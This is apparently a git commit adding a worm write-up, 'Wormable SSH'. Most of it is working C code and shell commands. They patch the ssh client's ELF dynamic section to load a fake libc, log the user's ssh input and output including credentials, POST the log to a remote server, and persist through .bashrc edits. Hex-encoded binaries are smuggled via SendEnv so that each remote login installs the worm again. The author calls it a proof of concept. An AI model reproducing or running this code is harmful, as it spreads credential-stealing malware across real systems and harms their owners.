Add files via upload
This commit is contained in:
parent
47f8bef8f5
commit
a447a29113
Binary file not shown.
|
@ -0,0 +1,426 @@
|
|||
[Wormable SSH]
|
||||
|
||||
[1. Introduction]
|
||||
|
||||
This text will present a way to turn ssh client in a very simple worm,
|
||||
which will install itself in remote targets when someone use the corrupted
|
||||
client and authenticates in some remote machine, the main idea of this text
|
||||
is to present a new idea to make the client replicate its behavior in the
|
||||
client of remote machine.
|
||||
|
||||
[2. Corrupting ssh client]
|
||||
|
||||
To take over the control of ssh client, it will be used a know and very abused
|
||||
ELF corruption technique, its well described at phrack 61-8[0], regard of being
|
||||
and old technique it still working and most of binaries found still dont
|
||||
explying any protection against this simple technique, at phrack paper, they
|
||||
give an implementation of this simple corruption using his framework called
|
||||
Ceberus Interface, which is capable of doing much more. But will we stick with
|
||||
this one and use a standalone simple implementation which will be released
|
||||
togheter with this text.
|
||||
|
||||
I recommend all readers to take a look on phrack issue mentioned before, but
|
||||
for a quick description of the technique, the next will be enough to understand
|
||||
what will be happening.
|
||||
|
||||
ELF dynamic linked programs have a PT_DYNAMIC segment which carry the dynamic
|
||||
section, which have an array of entries related to dynamic linking and other
|
||||
useful information, because is not the goal of paper to explain about ELF
|
||||
details, we just need to know the standard behavior of most compiler will emit
|
||||
a DT_DEBUG entry in dyanamic section, even it never being used or aksed to.
|
||||
|
||||
The list of libraries some programs need to is listed in entries of type
|
||||
DT_NEEDED, and as we have a useless entry with type DT_DEBUG it is possible to
|
||||
convert the DT_DEBUG entry in a DT_NEEDED entrie, which will make some library
|
||||
of our choice to be needed to load when the program intend to run, the only
|
||||
problem is we should make the DT_NEEDED entry point to a string with the name
|
||||
of the library we want. In the phrack paper itself they show a overcome to
|
||||
this limitation. We can just make it point to a substring of a real used
|
||||
library, so if it used "libc.so" we can reuse the string and make our entry
|
||||
porint to "c.so".
|
||||
|
||||
As an short examploe of the technique i show this short snippets
|
||||
|
||||
// Its used to locate the dynamic section and retrive his size and number of
|
||||
// entries
|
||||
|
||||
for (int i = 0; i < ehdr->e_phnum; i++)
|
||||
{
|
||||
if (phdr[i].p_type == PT_DYNAMIC)
|
||||
{
|
||||
dyn_base = (Elf64_Dyn *)&elf_buff[phdr[i].p_offset];
|
||||
seg_size = phdr[i].p_filesz;
|
||||
n_entries = phdr[i].p_filesz / sizeof(Elf64_Dyn);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// This part is just to found the dynamic string table where we will catch some
|
||||
// string of library name and reuse it
|
||||
|
||||
for (int i = 0; i < ehdr->e_shnum; i++)
|
||||
{
|
||||
if (!strcmp(&string_table[shdr[i].sh_name], ".dynstr"))
|
||||
{
|
||||
dynstr_base = (char *)&elf_buff[shdr[i].sh_offset];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Here we seek for the DT_DEBUG and DT_NEEDED entries, where target_lib is the
|
||||
// string which represent the real library we want to reuse
|
||||
|
||||
for (int i = 0; i < n_entries; i++)
|
||||
{
|
||||
if (dyn_base[i].d_tag == DT_NEEDED &&
|
||||
!strcmp(&dynstr_base[dyn_base[i].d_un.d_val], target_lib))
|
||||
dt_needed_index = i;
|
||||
|
||||
if (dyn_base[i].d_tag == DT_DEBUG)
|
||||
dt_debug_index = i;
|
||||
}
|
||||
|
||||
// And here the job is done, the DT_DEBUG is converted in a DT_NEEDED entrie
|
||||
// and it will be swapped if needed to be loaded before the real library
|
||||
|
||||
dyn_base[dt_debug_index].d_tag = DT_NEEDED;
|
||||
|
||||
if (dt_debug_index > dt_needed_index) {
|
||||
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val;
|
||||
dyn_base[dt_needed_index].d_un.d_val = dyn_base[dt_debug_index].d_un.d_val+3;
|
||||
} else
|
||||
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val+3;
|
||||
|
||||
The full code will be linked later to reference, but the main parts of using
|
||||
the described technique are presented, all of those snippets are applied to
|
||||
memory mapped ssh client binary and then saved to a copy which will be used
|
||||
in the place of the original one.
|
||||
|
||||
[3. Hooking libc.so]
|
||||
|
||||
So we have an ssh client which will load a library of our choice first than some
|
||||
some library of our choice too, to make the things clear i choosed to use libc.so.6
|
||||
so in my case my fake library will be named "c.so.6" to reuse the original string
|
||||
"libc.so.6", in the approach i will take i will need to know the path of original
|
||||
libc.so used by ssh, because it will be needed to dlopen() libc and make the hooked
|
||||
function to work in a transparent way, to insert the original path in the code
|
||||
the simple command line was used when compiling the fake library:
|
||||
|
||||
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl \
|
||||
-DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')
|
||||
|
||||
After this part we just made a copy of c.so.6 and corrupted ssh in a path, can be
|
||||
"$HOME/.bin", so we can set PATH and LD_LIBRARY_PATH to the same directory through
|
||||
the .bashrc of the user we are targeting, if we take a look on our corrupted ssh with
|
||||
ldd utility it will seems like this:
|
||||
|
||||
$ ldd ~/.bin/ssh
|
||||
...
|
||||
c.so.6 => /home/user/.bin/c.so.6 (0x00007f6b38846000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6b38655000)
|
||||
...
|
||||
|
||||
So from now on we have the capability of running anything we want when the target
|
||||
tries to use ssh, in this case the first good thing to make is to provide a way
|
||||
to log the issued commands and even creds used by the target, to accomplish this we
|
||||
will be installing a constructor in our library so it will run before the ssh main code
|
||||
itself, our constructor is as follow:
|
||||
|
||||
__attribute__((constructor)) void _initf(int ac, char **av)
|
||||
{
|
||||
handle = dlopen(LIBC_PATH, RTLD_LAZY);
|
||||
real_close = (void *)dlsym(handle, "close");
|
||||
real_write = (void *)dlsym(handle, "write");
|
||||
real_read = (void *)dlsym(handle, "read");
|
||||
log_fd = open("/tmp/.sshlog", O_APPEND | O_CREAT | O_RDWR, S_IRWXU);
|
||||
log_fd = dup2(log_fd, 42);
|
||||
}
|
||||
|
||||
As you can see, nothing to fancy is done, we are just creating a temporary file to log
|
||||
the commands and dupping the file descriptor, because ssh make cleanup on very first fds
|
||||
during his startup code, the other parts is just providing a way to call real
|
||||
function from glibc which will be hooked in our library, all the 3 functions hooked will
|
||||
be listed now.
|
||||
|
||||
The close() function is being hooked just to prevent the file descriptor associaced with
|
||||
out log file to be closed, so any other case we just call the original close() but direct
|
||||
return success in case a try to close our file.
|
||||
|
||||
int close(int fd)
|
||||
{
|
||||
if (fd == log_fd)
|
||||
return 0;
|
||||
return real_close(fd);
|
||||
}
|
||||
|
||||
The most common IO functions read()/write() are begin used to send the input from user
|
||||
and output from ssh to our logfile after doing the real requests using the original
|
||||
function which was saved during the execution of our constructor, theres not much about
|
||||
this logging hooks, these was just a way to test if the hooks will work, a real hook
|
||||
to be used on the wild should format and handle errors in a serious way.
|
||||
|
||||
ssize_t write(int fd, const void *buf, size_t count)
|
||||
{
|
||||
int ret = (real_write(fd, buf, count));
|
||||
syscall(__NR_write, log_fd, "[write]:", 8);
|
||||
for (int i = 0; i < ret; i++)
|
||||
if (isprint(((char *)buf)[i]) || ((char *)buf)[i] == '\n')
|
||||
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
|
||||
syscall(__NR_write, log_fd, "\n", 1);
|
||||
return ret;
|
||||
}
|
||||
|
||||
ssize_t read(int fd, void *buf, size_t count)
|
||||
{
|
||||
int ret = (real_read(fd, buf, count));
|
||||
syscall(__NR_write, log_fd, "[read]:", 7);
|
||||
for (int i = 0; i < ret; i++)
|
||||
if (isprint(((char *)buf)[i]))
|
||||
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
|
||||
syscall(__NR_write, log_fd, "\n", 1);
|
||||
return ret;
|
||||
}
|
||||
|
||||
Its checked and this method just works to log the input/output from the ssh client
|
||||
to our choosed file, but it will not be useful if all those data just are dropped
|
||||
in the file, because in the worst case we can lost our access to the machine and
|
||||
in this case to the log file too, then its needed to provide a way to send the
|
||||
saved log to another machine.
|
||||
|
||||
[4. POST log]
|
||||
|
||||
As stated in the last topic, keeping the logs local to the target machine will
|
||||
not be to useful, to solve this issue we need to do at least two things, the
|
||||
first one is to provide a way to save the logs in a remote machine, in our case
|
||||
we will be doing this doing an HTTP POST of the logs to our server which will
|
||||
just save the file with some random name, the following code is the help function
|
||||
to do the POST:
|
||||
|
||||
void do_post(void)
|
||||
{
|
||||
host = "10.0.2.2";
|
||||
sock_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(atoi(port));
|
||||
addr.sin_addr.s_addr = inet_addr(host);
|
||||
|
||||
connect(sock_fd, (struct sockaddr *)&addr, sizeof(struct sockaddr));
|
||||
|
||||
size += log_statbuf.st_size;
|
||||
|
||||
sprintf(capsule,
|
||||
"POST http://%s:%s/%s HTTP/1.1\r\n"
|
||||
"Host: %s:%s\r\n"
|
||||
"Accept: */*\r\n"
|
||||
"Content-Type: multipart/form-data; boundary=------------------------4ae6d1de929f9e46\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"\r\n"
|
||||
"--------------------------4ae6d1de929f9e46\r\n"
|
||||
"Content-Disposition: form-data; name=\"vxlog\"; filename=\"vxlog.txt\"\r\n"
|
||||
"Content-Type: application/octet-stream\r\n"
|
||||
"\n",
|
||||
host, port, resource, host, port, size);
|
||||
|
||||
real_write(sock_fd, capsule, strlen(capsule));
|
||||
sendfile(sock_fd, log_fd, 0, log_statbuf.st_size);
|
||||
real_write(sock_fd, "\n\n--------------------------4ae6d1de929f9e46--\r\n", 48);
|
||||
close(sock_fd);
|
||||
}
|
||||
|
||||
With the presented function we are now able to dump the log file when needed,
|
||||
through a HTTP POST, which in this implementation send the whole file using
|
||||
the sendfile syscall, regardless this syscall not being the most portable way
|
||||
its easy to just change this code to send the log using another approach. Now
|
||||
we need a way to trigger the the calling do_post() and for this we will use a
|
||||
similar approach to open the log file in the very beginning, but now we will
|
||||
attach this trigger as a destructor function, so when the target is exiting
|
||||
from ssh, we will can close out log file and send back our logs, this is done
|
||||
through the following code:
|
||||
|
||||
__attribute__((destructor)) void _finif(void)
|
||||
{
|
||||
lseek(log_fd, 0, SEEK_SET);
|
||||
fstat(log_fd, &log_statbuf);
|
||||
do_post();
|
||||
syscall(__NR_close, log_fd);
|
||||
unlink("/tmp/.sshlog");
|
||||
}
|
||||
|
||||
Its done, our corrupted ssh client now can log his input/output and send the
|
||||
data to a remote server where it can be keep safe, at least more safe than
|
||||
just saving it local to target machine, so its somekind cool, but whata hell
|
||||
this simple ssh logger having to do with worm? it will come in next topic.
|
||||
|
||||
[5. Local install]
|
||||
|
||||
To compile and install our code to corrupt the ssh and the fake library with
|
||||
our functions to hook libc, i prepared a very simple script, it will not even
|
||||
try to hide the files, the goal here is just to make the corrupted version of
|
||||
ssh client to be used by our target, the script is listed here:
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
cc -s -o dynamicorrupt dynamicorrupt.c
|
||||
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl -DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')
|
||||
xxd -plain dynamicorrupt | tr -d \\n > dynamicorrupt.hex
|
||||
xxd -plain c.so.6 | tr -d \\n > c.so.6.hex
|
||||
rm -rf $HOME/.bin
|
||||
mkdir $HOME/.bin/
|
||||
cp *.hex $HOME/.bin/
|
||||
cp $(which ssh) $HOME/.bin/
|
||||
./dynamicorrupt $HOME/.bin/ssh
|
||||
cp c.so.6 $HOME/.bin/
|
||||
echo "export PATH=$HOME/.bin:$PATH" >> $HOME/.bashrc
|
||||
echo "export LD_LIBRARY_PATH=$HOME/.bin/" >> $HOME/.bashrc
|
||||
|
||||
export PATH=$HOME/.bin:$PATH
|
||||
export LD_LIBRARY_PATH=$HOME/.bin/
|
||||
|
||||
Most parts of the script is very clear, dyanmicorrupt is our code to change DT_DEBUG
|
||||
to DT_NEEDED and the c.so.6 is our fake library, after compiling both we are dumping
|
||||
both in hexadecimal notation to dynamicorrupt.hex and c.so.6.hex respectively, those
|
||||
files dont matter for now, after this we are moving making a copy of real ssh client
|
||||
to $HOME/.bin corrupting the copy and storing the fake library c.so.6 in the same
|
||||
directory. And to make the target to run our corrupted copy of ssh, we are adding
|
||||
two lines in his .bashrc setting PATH and LD_LIBRARY_PATH to search on $HOME/.bin too
|
||||
|
||||
After the script run once, our target will be using our version of ssh, but it will
|
||||
just keep the logs and send it back to a remote server as described, so we need to
|
||||
add a way to make it install itself to remote machines too.
|
||||
|
||||
[6. Remote install]
|
||||
|
||||
To make the remote install possible i choosed to combine a well technique which can
|
||||
be called "reexec" and another one specific to ssh context(but maybe usable in others)
|
||||
The reexec technique is exactly what his name says, the program will be re-executed
|
||||
its seem to be not very useful, but it give us some nice primitives to work with,
|
||||
the primitive which i will be using here is not new, but it seems to be not very
|
||||
abused, it is "change args", so we will be re-executing the ssh with different args
|
||||
which enable us to install our code in the remote machine.
|
||||
|
||||
Here i will dump the listing of the code which change the args and later give a brief
|
||||
explanations on the parts which need more attention:
|
||||
|
||||
__attribute__((constructor)) int change_args(int argc, char **argv, char **envp)
|
||||
{
|
||||
int env_size = 0;
|
||||
|
||||
if (getenv("VXCOOL") == NULL)
|
||||
{
|
||||
char **envar = envp;
|
||||
while (*envar++ != NULL)
|
||||
env_size++;
|
||||
|
||||
char **new_envp = malloc(sizeof(char *) * env_size + 3);
|
||||
for (int i = 0; i < env_size; i++)
|
||||
new_envp[i] = strdup(envp[i]);
|
||||
|
||||
new_envp[env_size] = "VXCOOL=true";
|
||||
new_envp[env_size + 1] = dynamicorrupt_envar();
|
||||
new_envp[env_size + 2] = lcso_envar();
|
||||
new_envp[env_size + 3] = NULL;
|
||||
|
||||
char **new_argv = malloc(sizeof(char *) * (argc + 4));
|
||||
for (int i = 0; i < argc; i++)
|
||||
new_argv[i] = strdup(argv[i]);
|
||||
|
||||
new_argv[argc] = "-t";
|
||||
new_argv[argc + 1] = "-SendEnv";
|
||||
new_argv[argc + 2] =
|
||||
"rm -rf $HOME/.bin;"
|
||||
"mkdir $HOME/.bin/;"
|
||||
"cp $(which ssh) $HOME/.bin/;"
|
||||
"printenv LC_BIN1 > $HOME/.bin/dynamicorrupt.hex;"
|
||||
"cat $HOME/.bin/dynamicorrupt.hex | xxd -plain -revert > $HOME/.bin/dynamicorrupt;"
|
||||
"chmod +x $HOME/.bin/dynamicorrupt;"
|
||||
"$HOME/.bin/dynamicorrupt $HOME/.bin/ssh;"
|
||||
|
||||
"printenv LC_BIN2 > $HOME/.bin/c.so.6.hex;"
|
||||
"cat $HOME/.bin/c.so.6.hex | xxd -plain -revert > $HOME/.bin/c.so.6;"
|
||||
"chmod +x $HOME/.bin/c.so.6;"
|
||||
|
||||
"echo \"export PATH=$HOME/.bin:$PATH\" >> $HOME/.bashrc;"
|
||||
"echo \"export LD_LIBRARY_PATH=$HOME/.bin/\" >> $HOME/.bashrc;"
|
||||
|
||||
"export PATH=$HOME/.bin:$PATH;"
|
||||
"export LD_LIBRARY_PATH=$HOME/.bin/;"
|
||||
|
||||
"$SHELL -i;";
|
||||
new_argv[argc + 3] = NULL;
|
||||
execve("/proc/self/exe", new_argv, new_envp);
|
||||
}
|
||||
else
|
||||
unsetenv("VXCOOL");
|
||||
return 0;
|
||||
}
|
||||
|
||||
As expected this function is defined as a constructor, because it need to
|
||||
run before the original code of ssh, and even before the other parts of our
|
||||
own code, the first question which comes is, if the constructor will reexec
|
||||
the program, how it will stop to doing this infinity times? the answer is
|
||||
a environment variable in this case we are using VXCOOL as a flag, if its
|
||||
no setted we need to change args and reexec, if its set we are done and can
|
||||
let the rest of code runs.
|
||||
|
||||
Now we just need to change the args in a way to let upload our code to the
|
||||
remote machine when target succesfully connect to some machine, and to do
|
||||
this i choosed to upload both, the corruption code and fake library, through
|
||||
environment variables, the way to construct envp and argv is pretty straight
|
||||
but im using a function two function to set the environment variable, i will
|
||||
just one of these because in fact they are the same:
|
||||
|
||||
char *lcso_envar(void)
|
||||
{
|
||||
char *env_lcso = NULL;
|
||||
struct stat stat_dynamicorrupt;
|
||||
int envsz = 0;
|
||||
char path[128];
|
||||
sprintf(path, "%s/.bin/c.so.6.hex", getenv("HOME"));
|
||||
int fd = open(path, O_RDONLY);
|
||||
fstat(fd, &stat_dynamicorrupt);
|
||||
env_lcso = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN2="));
|
||||
strcpy(env_lcso, "LC_BIN2=");
|
||||
syscall(__NR_read, fd, env_lcso + strlen("LC_BIN2="), stat_dynamicorrupt.st_size);
|
||||
syscall(__NR_close, fd);
|
||||
return env_lcso;
|
||||
}
|
||||
|
||||
This presented listing is used to set the LC_BIN2 enviroment variable with
|
||||
the hex encoded c.so.6 we have prepared before with our "local install" script,
|
||||
the same approach is used to set the LC_BIN1 with hex encoded dynamicorrupt program.
|
||||
At this point we have what we need setted on these env vars, and ssh have a
|
||||
well switched option to use in our context, which is "-SendEnv", which
|
||||
makes ssh turn the current envrioment variable of user running the program
|
||||
avalaible in the remote machine after the connection is done.
|
||||
|
||||
I have used the "-t" option to to allocate pseudo terminal, but it was just
|
||||
for using screen in the remote machine during the tests, i dont prepared any
|
||||
serious code to hide the presence of strange behaviors in ssh after the reexec.
|
||||
As you can see, a hardcoded version of "local install" script is being used as
|
||||
a parameter which will be the command executed when the connection is done,
|
||||
the main difference is at this time the code will be dumped from enviroment
|
||||
variables and converted back from hex encoded format to ELF to be used in the
|
||||
remote machine, and after this the default shell from $SHELL env var will be called
|
||||
in a interactive way as "nothing" happened. after this point the remote machine
|
||||
is infected in the same way the local one. So if the remote user connect to
|
||||
another place the same process will be repeated.. and thats all.
|
||||
|
||||
[Observation]
|
||||
|
||||
This is just a simple PoC, which obviously is not intended to be used in the
|
||||
wild, but can give some nice ideas, on how to use knowed techniques, how to
|
||||
abuse and combine some techniques and a very simple way to make the infected
|
||||
machine to infect other and so on, i think the new thing here is about to use
|
||||
environment variable as a upload channel which can be used to send, scripts
|
||||
or even programs and source-code too, i did the first version of this, make it
|
||||
to upĺoad the "local install" script and compiling it to install remote, but
|
||||
i changed it for the case the compiler are not available.
|
||||
|
||||
In fact it can be improved in # ways, but can be used as a start point to play
|
||||
a bit with the Wonderful Worm World.
|
||||
|
||||
Regards, Anonymous_
|
||||
|
||||
[References]
|
||||
|
||||
[0] http://phrack.org/issues/61/8.html
|
Loading…
Reference in New Issue